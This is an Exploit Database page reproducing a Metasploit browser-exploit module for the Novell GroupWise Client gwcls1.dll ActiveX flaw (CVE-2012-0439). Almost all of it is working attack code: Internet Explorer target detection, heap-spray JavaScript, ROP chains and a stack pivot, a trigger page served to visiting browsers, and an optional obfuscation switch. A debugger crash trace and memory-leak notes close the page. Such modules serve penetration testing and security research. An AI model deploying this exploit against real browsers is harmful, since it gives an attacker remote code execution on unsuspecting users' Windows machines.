Novell Groupwise Client – ‘gwcls1.dll’ ActiveX Remote Code Execution (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2013-02-12
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/24490/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::RopDb
  	include Msf::Exploit::Remote::BrowserAutopwn
  
  	autopwn_info({
  		:ua_name=> HttpClients::IE,
  		:ua_minver=> "6.0",
  		:ua_maxver=> "9.0",
  		:javascript => true,
  		:os_name=> OperatingSystems::WINDOWS,
  		:rank => NormalRanking,
  		:classid=> "{601D7813-408F-11D1-98D7-444553540000}",
  		:method => "SetEngine"
  	})
  
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution",
  			'Description'=> %q{
  					This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll
  				ActiveX. Several methods in the GWCalServer control use user provided data as
  				a pointer, which allows to read arbitrary memory and execute arbitrary code. This
  				module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The
  				JRE6 needs to be installed to achieve ASLR bypass.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'rgod <rgod[at]autistici.org>', # Vulnerability discovery
  					'juan vazquez'# Metasploit module
  				],
  			'References' =>
  				[
  					[ 'CVE', '2012-0439' ],
  					[ 'OSVDB', '89700' ],
  					[ 'BID' , '57658' ],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-008' ],
  					[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ]
  				],
  			'Payload'=>
  				{
  					'BadChars'=> "\x00",
  					'Space' => 1040,
  					'DisableNops' => true
  				},
  			'DefaultOptions'=>
  				{
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# gwcls1.dll 12.0.0.8586
  					[ 'Automatic', {} ],
  					[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
  					[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
  					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x3e3' } ],
  					[ 'IE 7 on Windows Vista',{ 'Rop' => nil, 'Offset' => '0x5f4' } ],
  					[ 'IE 8 on Windows Vista',{ 'Rop' => :jre,'Offset' => '0x3e3' } ],
  					[ 'IE 8 on Windows 7',{ 'Rop' => :jre,'Offset' => '0x3e3' } ],
  					[ 'IE 9 on Windows 7',{ 'Rop' => :jre,'Offset' => '0x3ed' } ]#'0x5fe' } ]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Jan 30 2013",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
  			], self.class)
  
  	end
  
  	def get_target(agent)
  		#If the user is already specified by the user, we'll just use that
  		return target if target.name != 'Automatic'
  
  		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
  		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
  
  		ie_name = "IE #{ie}"
  
  		case nt
  		when '5.1'
  			os_name = 'Windows XP SP3'
  		when '6.0'
  			os_name = 'Windows Vista'
  		when '6.1'
  			os_name = 'Windows 7'
  		end
  
  		targets.each do |t|
  			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
  				print_status("Target selected as: #{t.name}")
  				return t
  			end
  		end
  
  		return nil
  	end
  
  	def ie_heap_spray(my_target, p)
  		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
  		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
  		js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
  
  		# Land the payload at 0x0c0c0c0c
  		case my_target
  		when targets[7]
  			# IE 9 on Windows 7
  			js = %Q|
  			function randomblock(blocksize)
  			{
  				var theblock = "";
  				for (var i = 0; i < blocksize; i++)
  				{
  					theblock += Math.floor(Math.random()*90)+10;
  				}
  				return theblock;
  			}
  
  			function tounescape(block)
  			{
  				var blocklen = block.length;
  				var unescapestr = "";
  				for (var i = 0; i < blocklen-1; i=i+4)
  				{
  					unescapestr += "%u" + block.substring(i,i+4);
  				}
  				return unescapestr;
  			}
  
  			var heap_obj = new heapLib.ie(0x10000);
  			var code = unescape("#{js_code}");
  			var nops = unescape("#{js_random_nops}");
  			while (nops.length < 0x80000) nops += nops;
  			var offset_length = #{my_target['Offset']};
  			for (var i=0; i < 0x1000; i++) {
  				var padding = unescape(tounescape(randomblock(0x1000)));
  				while (padding.length < 0x1000) padding+= padding;
  				var junk_offset = padding.substring(0, offset_length);
  				var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
  				while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
  				sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
  				heap_obj.alloc(sprayblock);
  			}
  			|
  
  		else
  			# For IE 6, 7, 8
  			js = %Q|
  			var heap_obj = new heapLib.ie(0x20000);
  			var code = unescape("#{js_code}");
  			var nops = unescape("#{js_nops}");
  			while (nops.length < 0x80000) nops += nops;
  			var offset = nops.substring(0, #{my_target['Offset']});
  			var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  			while (shellcode.length < 0x40000) shellcode += shellcode;
  			var block = shellcode.substring(0, (0x80000-6)/2);
  			heap_obj.gc();
  			for (var i=1; i < 0x300; i++) {
  				heap_obj.alloc(block);
  			}
  			var overflow = nops.substring(0, 10);
  			|
  
  		end
  
  		js = heaplib(js, {:noobfu => true})
  
  		if datastore['OBFUSCATE']
  			js = ::Rex::Exploitation::JSObfu.new(js)
  			js.obfuscate
  		end
  
  		return js
  	end
  
  	def stack_pivot
  		pivot = "\x64\xa1\x18\x00\x00\x00"# mov eax, fs:[0x18 # get teb
  		pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
  		pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
  		pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
  		return pivot
  	end
  
  	def get_payload(t, cli)
  		code = payload.encoded
  
  		# No rop. Just return the payload.
  		return [0x0c0c0c10 - 0x426].pack("V") + [0x0c0c0c14].pack("V") + code if t['Rop'].nil?
  
  		# Both ROP chains generated by mona.py - See corelan.be
  		case t['Rop']
  			when :msvcrt
  				print_status("Using msvcrt ROP")
  				rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea
  				jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string
  				rop_payload << jmp_shell
  				rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
  				rop_payload << [0x0c0c0c10 - 0x426].pack("V")# Mapped at 0x0c0c0c0c # 0x426 => vtable offset
  				rop_payload << [0x77c15ed5].pack("V")# Mapped at 0x0c0c0c10 # xchg eax, esp # ret
  				rop_payload << stack_pivot
  				rop_payload << code
  			else
  				print_status("Using JRE ROP")
  				rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea
  				jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string
  				rop_payload << jmp_shell
  				rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
  				rop_payload << [0x0c0c0c10 - 0x426].pack("V")# Mapped at 0x0c0c0c0c # 0x426 => vtable offset
  				rop_payload << [0x7C348B05].pack("V")# Mapped at 0x0c0c0c10 # xchg eax, esp # ret
  				rop_payload << stack_pivot
  				rop_payload << code
  		end
  
  		return rop_payload
  	end
  
  
  	def load_exploit_html(my_target, cli)
  		p= get_payload(my_target, cli)
  		js = ie_heap_spray(my_target, p)
  
  		trigger = "target.GetNXPItem(\"22/10/2013\", 1, 1);" * 200
  
  		html = %Q|
  		<html>
  		<head>
  		<script>
  		#{js}
  		</script>
  		</head>
  		<body>
  		<object classid='clsid:601D7813-408F-11D1-98D7-444553540000' id ='target'>
  		</object>
  		<script>
  			target.SetEngine(0x0c0c0c0c-0x20);
  			setInterval(function(){#{trigger}},1000);
  		</script>
  		</body>
  		</html>
  		|
  
  		return html
  	end
  
  	def on_request_uri(cli, request)
  		agent = request.headers['User-Agent']
  		uri = request.uri
  		print_status("Requesting: #{uri}")
  
  		my_target = get_target(agent)
  		# Avoid the attack if no suitable target found
  		if my_target.nil?
  			print_error("Browser not supported, sending 404: #{agent}")
  			send_not_found(cli)
  			return
  		end
  
  		html = load_exploit_html(my_target, cli)
  		html = html.gsub(/^\t\t/, '')
  		print_status("Sending HTML...")
  		send_response(cli, html, {'Content-Type'=>'text/html'})
  	end
  
  end
  
  
  =begin
  
  * Remote Code Exec
  
  (240.8d4): Access violation - code c0000005 (first chance)
  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  *** ERROR: Symbol file could not be found.Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwenv1.dll -
  eax=00000000 ebx=0c0c0bec ecx=030c2998 edx=030c2998 esi=0c0c0bec edi=0013df58
  eip=10335e2d esp=0013de04 ebp=0013de8c iopl=0 nv up ei pl nz na po nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00210202
  gwenv1!NgwOFErrorEnabledVector<NgwOFAttribute>::SetParent+0x326b9d:
  10335e2d 8a8e4f040000mov cl,byte ptr [esi+44Fh] ds:0023:0c0c103b=??
  
  
  .text:103BDDEC mov eax, [ebp+var_4] // var_4 => Engine + 0x20
  .text:103BDDEF testesi, esi
  .text:103BDDF1 jnz short loc_103BDE17
  .text:103BDDF3 cmp [eax+426h], esi
  .text:103BDDF9 jzshort loc_103BDE17 // Check function pointer against nil?
  .text:103BDDFB mov ecx, [ebp+arg_8]
  .text:103BDDFE mov edx, [ebp+arg_4]
  .text:103BDE01 pushecx
  .text:103BDE02 mov ecx, [eax+42Ah]// Carefully crafted object allows to control it
  .text:103BDE08 pushedx
  .text:103BDE09 mov edx, [eax+426h] // Carefully crafted object allows to control it
  .text:103BDE0F pushecx
  .text:103BDE10 calledx// Win!
  
  * Info Leak
  
  // Memory disclosure => 4 bytes from an arbitrary address
  // Unstable when info leaking and triggering rce path...
  target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll
  var leak = target.GetMiscAccess();
  alert(leak);
  
  =end